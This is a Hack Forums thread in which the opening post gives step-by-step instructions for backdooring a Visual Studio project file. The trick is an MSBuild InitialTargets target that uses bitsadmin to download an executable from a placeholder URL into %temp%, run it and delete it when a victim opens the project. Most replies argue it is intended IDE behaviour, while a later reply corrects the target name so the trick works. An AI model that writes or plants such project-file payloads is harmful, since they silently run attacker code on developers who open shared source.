

Forum:[Hack Forums](#)

Thread: [Visual Studio 0day Exploit \[Spread Through Visual Studio\] \[FUD\]](#)

Furz - December 12, 2016, 8:38 am

Step 1: Create a new project in visual studio

Step 2: Find the .vbproj/.csproj file and edit it

Step 3: On the second line, it should have something similar to this

PHP Code

```
<?php
```

```
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
```

Edit this like to include

PHP Code

```
<?php
```

```
InitialTargets="Build"
```

The name can be whatever you want, I just thought "build" would be inconspicuous

The final product will look like:

PHP Code

```
<?php
```

```
<Project ToolsVersion="14.0" InitialTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
```

Step 4:

Add this to the end of the file, but before the closing "</project>" tag

PHP Code

```
<?php
```

```
<Target Name="Buislfd">
```

```
  <Exec Command=
```

```
"bitsadmin.exe /transfer NAME http://directdownload.to/your.exe %temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Exec Command="%temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Exec Command="del %temp%\1.exe" >
```

```
  <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
```

```
</Exec>
```

```
  <Message Importance="high" Text="$(ErrorCode)" />
```

```
</Target>
```

And save the file

Now, whenever someone runs opens your project in Visual Studio, it will download and exec your file

Proof ([Click to View](#))

Owl - December 12, 2016, 9:15 am

This is why you get that warning when opening foreign projects, you can put this to work on intellisense and other build ops too.

SubGenius - December 12, 2016, 9:27 am

Fuck, nothing is safe anymore.

Trappy - December 12, 2016, 9:30 am

Whoa posting here to look back when I'm home.

_dude719 - December 12, 2016, 9:38 am

Lol this isn't an "exploit", this is expected, just don't be a retard and grant projects access without checking them first. This is why MS added a security check before you open each project in a solution.

Ronan. - December 12, 2016, 9:41 am

This isn't a 0day, it's the reason there is a warning given before projects are opened.

SIM-1847363 - December 12, 2016, 12:35 pm

Well, I feel I am safer than a white guy walking down downtown Chicago at night.

Next thing we will see is a guy trying to sell this as an ebook on the marketplace for \$120(Please don't do this. If you do ima call out your shitting sale thread.)

JUSTIN - December 12, 2016, 1:20 pm

This isn't really an exploit, it does look like it's intended to function this way if you configure the project file as such. As the others have said, there's a reason warnings are given before opening projects.

Either way, I didn't know about it and it seems pretty cool, so +1 rep for you.

Champagnepapii - December 12, 2016, 5:22 pm

This has been around for atleast 2 or 3 weeks (thats the first I saw it).

mrkoolaid - December 12, 2016, 5:46 pm

yes, this is functionality of the IDE :)

although new uses to vis studio would probably be susceptible to this.

#Kat - December 12, 2016, 7:36 pm

eh... just saw did a local patch. solved done reported

caiveman - December 13, 2016, 2:33 am

What in the fuck? Never opening src in my life again

DopplerAF - December 13, 2016, 2:34 am

(Dec 13, 2016 03:33 AM)caiveman Wrote: [\[CITE\]](#) What in the fuck? Never opening src in my life again

Why so scared ? You can always check the source for any malicious intend before opening it. At least you are aware of it now.

Zeth0s - December 13, 2016, 12:04 pm

Thank you for sharing this!

video_error - December 14, 2016, 10:30 am

Heh. I don't even use Visual Studio. I use SharpDevelop as my preferred IDE. Less of a ram hog and performance killer and gives me only what I need in an IDE. Hate Visual Studio for its out of the box clunkiness and awkwardness. Personal opinion. Not sure if this would work for SharpDevelop.

Gingerbread Man - December 15, 2016, 7:49 pm

Can't comment on market place or PM yet. Interested in MistHub.

Null Agent - December 16, 2016, 11:34 am

Keep in mind that I'll not download nothing from this section ever again.
Thanks.

programingLove - December 16, 2016, 2:45 pm

it doesn't work. i using VS 2013. why?

Haters Ganna Hate - December 17, 2016, 1:36 pm

Cant wait next week in the Marketplace to see alot of "VISUAL STUDIO EXPLOIT PDF! \$69.99!"

Furz - February 23, 2017, 9:51 am

This still works, for those still interested

INCEPTION_V - February 23, 2017, 9:54 am

That's why I love github.

.cYRil. - February 23, 2017, 2:10 pm

Thanks for sharing with us, good way for some to know they must be aware.

Malum™ - February 23, 2017, 2:35 pm

I saw a tool awhile back that scans through project folders to find malicious scripts just like this. Wish I could remember its name.. If anyone finds it please post it!

Sladey - February 23, 2017, 2:58 pm

(Dec 12, 2016 10:27 AM)Full Metal Wanker Wrote: [\[CITE\]](#) Fuck, nothing is safe anymore.
When was anything ever safe? There has been exploits in Visual Studio going all the way back to the first version. There is still an active one with VB6. Don't trust anything from other people.

M00nD3v - February 24, 2017, 11:29 pm

Thanks for sharing and disclosing this method. Hopefully more such methods to come in future.

Regards

programingLove - November 3, 2017, 3:41 pm

not working for me VS 2017 and 2013 tested

Minor Ethics - November 3, 2017, 4:08 pm

(Nov 3, 2017 03:41 PM)programingLove Wrote: [\[CITE\]](#) not working for me VS 2017 and 2013 tested
This still works however the original post is incorrect.

This:

Quote:InitialTargets="Build"

Needs to be:

Quote:InitialTargets="Buislfd"

Or just make the InitialTargets and Target Name match

Tested in both 2015 and 2017

4chan_kilo - *November 4, 2017, 4:43 am*

thanks for practice... will be check soon. cheers (Y)

Hopsin - *November 4, 2017, 7:05 am*

(Dec 12, 2016 10:27 AM)Full Metal Wanker Wrote: [\[CITE\]](#) Fuck, nothing is safe anymore.

Nothing is or will be ever safe, simply it was never safe. Sadly. Have a nice day and be careful buddy ! ?